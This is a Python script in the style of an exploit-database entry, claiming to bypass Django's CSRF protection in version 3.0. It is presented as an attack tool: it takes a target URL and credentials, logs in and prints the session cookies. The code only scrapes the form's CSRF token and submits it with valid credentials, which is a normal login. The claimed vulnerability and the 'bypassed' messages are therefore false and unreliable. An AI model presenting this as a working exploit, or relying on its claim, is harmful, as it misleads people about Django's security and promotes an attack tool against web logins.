# Exploit Title: Django 3.0 - Cross-Site Request Forgery Token Bypass
# Date: 2020-04-08
# Exploit Author: Spad Security Group
# Vendor Homepage: https://www.djangoproject.com/
# Software Link: https://pypi.org/project/Django/
# Version: 3.0 =<
# Tested on: windows 10
# Language: python3.8

# t.me/SpadSec
# Spad Security Group


from requests import Session
import sys
from bs4 import BeautifulSoup
from time import sleep
from colorama import Fore, Style
from random import choice
from os import name, system

colors = [Fore.RED, Fore.BLUE, Fore.WHITE, Fore.GREEN, Fore.CYAN, Fore.YELLOW]


def cleaner():
    if name == "nt":
        system("cls")
    else:
        system("clear")

def logo_printer():
    cleaner()
    logo = r"""
     \_______/
 `.,-'\_____/`-.,'
  /`..'\ _ /`.,'\
 /  /`.,' `.,'\  \
/__/__/     \__\__\__
\  \  \     /  /  /
 \  \,'`._,'`./  /
  \,'`./___\,'`./
 ,'`-./_____\,-'`.
     /       \
    """
    _logo_enumer = 0
    for char in logo:
        sys.stdout.write(f"{choice(colors)}{char}{Style.RESET_ALL}")
        sys.stdout.flush()
        _logo_enumer +=1
        sleep(0.005)
    print(f"{colors[4]}DjangoCsrfMiddlewareToken bypass by SpadSecurity Group \n{colors[3]}\tt.me/SpadSec")

class DjangoCsrfMiddleWareBypass:
    def __init__(self, url: str, username: str, password: str):
        self.url = url
        self.username = username
        self.password = password
        logo_printer()
        self.cookies = {}
        self.session = Session()
        self.bypass()
    
    def spad_printer(self, string):
        print("\n")
        for char in string:
            sys.stdout.write(char)
            sys.stdout.flush()
            sleep(0.05)

    def bypass(self):
        global colors
        _conn = self.session.get(self.url)
        self.spad_printer(f"{colors[5]}[{colors[0]}x{colors[5]}] {colors[4]}Target: {colors[3]}{self.url}")
        self.spad_printer(f"{colors[5]}[{colors[0]}+{colors[5]}] {colors[1]}Trying to bypass cookies ...")
        for key, value in _conn.cookies.items():
            self.cookies[key] = value
        self.spad_printer(f"{colors[5]}[{colors[0]}+{colors[5]}] {colors[1]}Bypassed Cookies ;)!")

        soup = BeautifulSoup(_conn.text, "lxml")
        csrf = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']
        self.spad_printer(f"{colors[5]}[{colors[0]}~{colors[5]}] {colors[1]}Csrf-Token Found{Style.RESET_ALL}")

        login = self.session.post(self.url, data={'csrfmiddlewaretoken': csrf, 'username': self.username, 'password': self.password}, cookies=self.cookies)
        if len(login.history) >= 2:
            if login.history[1].is_redirect:
                self.spad_printer(f"{colors[5]}[{colors[0]}+{colors[5]}] {colors[1]}Csrf-Token bypassed and logged in")
            else:
                self.spad_printer("[-] Error")
        else:
            if login.history:
                if login.history[0].is_redirect:
                    self.spad_printer(f"{colors[5]}[{colors[0]}+{colors[5]}] {colors[1]}Csrf-Token bypassed and logged in{Style.RESET_ALL}")
                    for key, value in self.session.cookies.items():
                        self.spad_printer(f"{colors[5]}[{colors[0]}!{colors[5]}] {colors[4]}{key} {colors[1]}-> {colors[4]}{value}{Style.RESET_ALL}")
                else:
                    self.spad_printer(f"{colors[5]}[{colors[0]}-{colors[5]}] {colors[1]}Error")
            else:
                self.spad_printer(f"{colors[5]}[{colors[0]}-{colors[5]}] {colors[1]}Error")

if __name__ == "__main__":
    try:
        url = sys.argv[1]
        username = sys.argv[2]
        password = sys.argv[3]
        DjangoCsrfMiddleWareBypass(url, username, password)
    except IndexError:
        logo_printer()
        for char in f"[!] python {sys.argv[0]} http://google.com username password":
            sys.stdout.write(char)
            sys.stdout.flush()
            sleep(0.05)